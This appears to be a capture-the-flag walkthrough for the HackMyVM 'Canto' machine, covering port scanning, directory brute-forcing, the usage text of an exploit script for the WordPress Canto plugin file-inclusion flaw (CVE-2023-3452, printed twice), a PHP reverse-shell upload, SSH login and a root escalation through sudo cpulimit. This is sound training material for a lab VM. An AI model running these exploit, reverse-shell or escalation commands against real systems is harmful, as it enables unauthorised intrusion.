In this write-up, I will guide you through the steps I took to complete the HackMyVM - Canto CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video (to be updated).
TL;DR
Reconnaissance
Network/Port Scanning (Nmap)
Command:
nmap -sV -sC -vv -oA canto 172.16.100.9
Explanation:
nmap: Tool used to scan network and ports to discover which services are running.
-sV: Perform version detection of services.
-sC: Scan using default scripts.
-oA: Output in filename "canto".
172.16.100.9: IP address of Canto VM on my network.
Output:
# Nmap 7.94SVN scan initiated Wed Aug 28 00:02:12 2024 as: nmap -sC -sV -vv -oA canto 172.16.100.9
Nmap scan report for 172.16.100.9
Host is up, received syn-ack (0.024s latency).
Scanned at 2024-08-28 00:02:21 PDT for 12s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKkMLZHCokv5rpKTUUfitgdTSiyieZXC1kqsQS8DEnLgk6x5fOmlzHim2qgiwoJhyEJa7Nj1k3K6pwm5RVxEjEU=
| 256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDR8+o8qabpIHzS2zgBZDxfX0Tm5eWBBstEt5QeYN04+
80/tcp open http syn-ack Apache httpd 2.4.57 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 6.6.1
|_http-title: Canto
|_http-server-header: Apache/2.4.57 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 28 00:02:33 2024 -- 1 IP address (1 host up) scanned in 20.37 seconds
Findings:
We see that there is a web server running on port 80.
Let's check out the web server and in the background we can run gobuster to brute force web directories.
Directory Brute-forcing (Gobuster)
Command:
gobuster dir -u http://172.16.100.9 -w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
Note: I have setup an alias to run gobuster inside a docker container.
Alias: alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'
Explanation:
dir: Mode of operation indicating directory/file enumeration.
-u http://172.16.100.9: Base URL of the target web server to scan.
-w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt: Base URL of the target web server to scan.
-x php,txt,html: Search for the PHP, HTML and TXT file extensions.
usage: 51826.py [-h] -u URL [-s SHELL] -LHOST LOCAL_HOST [-LPORT LOCAL_PORT] [-c COMMAND] [-NC_PORT NC_PORT]
Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452
options:
-h, --help show this help message and exit
-u URL, --url URL Vulnerable URL
-s SHELL, --shell SHELL
Local file for web shell
-LHOST LOCAL_HOST, --local_host LOCAL_HOST
Local web server IP
-LPORT LOCAL_PORT, --local_port LOCAL_PORT
Local web server port
-c COMMAND, --command COMMAND
Command to execute on the target
-NC_PORT NC_PORT, --nc_port NC_PORT
Listener port for netcat
Examples:
- Check the vulnerability
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33
- Execute a command
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'
- Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
usage: 51826.py [-h] -u URL [-s SHELL] -LHOST LOCAL_HOST [-LPORT LOCAL_PORT] [-c COMMAND] [-NC_PORT NC_PORT]
Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452
options:
-h, --help show this help message and exit
-u URL, --url URL Vulnerable URL
-s SHELL, --shell SHELL
Local file for web shell
-LHOST LOCAL_HOST, --local_host LOCAL_HOST
Local web server IP
-LPORT LOCAL_PORT, --local_port LOCAL_PORT
Local web server port
-c COMMAND, --command COMMAND
Command to execute on the target
-NC_PORT NC_PORT, --nc_port NC_PORT
Listener port for netcat
Examples:
- Check the vulnerability
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33
- Execute a command
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'
- Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
I made a copy of the exploit file so that I can directly copy the commands given in the example.
cp 51826.py CVE-2023-3452.py
We can give a PHP Reverse Shell file as an argument to the exploit. So let's do that.
Download the reverse shell from https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php.
During our WordPress enumeration we had found an user erik. On checking out his /home/erik directory we find a notes directory that has some files in it:
This means we have to find that backups folder. So we search for a backups in the file system.
Command:
find / -name *backups* -type d 2>/dev/null
Explanation:
find /: The find command, used to search for files and directories. The / indicates that the search should start from the root directory and include all directories and subdirectories under it.
-name *backups*: Match the pattern *backups*.
-type d: Restricts the search to directories only.
2>/dev/null: This part redirects error messages to /dev/null.
Now that we have the password for the erik user, we can now try SSH.
Command:
ssh erik@172.16.100.9
Output:
Read the user.txt file to get the flag:
cat user.txt
Privilege Escalation
Let's checkout the sudo permissions we have for erik. Command:
sudo -l
Output:
Matching Defaults entries for erik on canto:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User erik may run the following commands on canto:
(ALL : ALL) NOPASSWD: /usr/bin/cpulimit
Findings:
We see that we can run the program /usr/bin/cpulimit with sudo permissions.
Command:
sudo cpulimit -l 100 -f /bin/sh
Output:
And thus we have root.
And finally, we can read the root flag:
cat /root/root.txt
On checking we see that there is an entry for the cpulimit program and we can use it to elevate privileges.
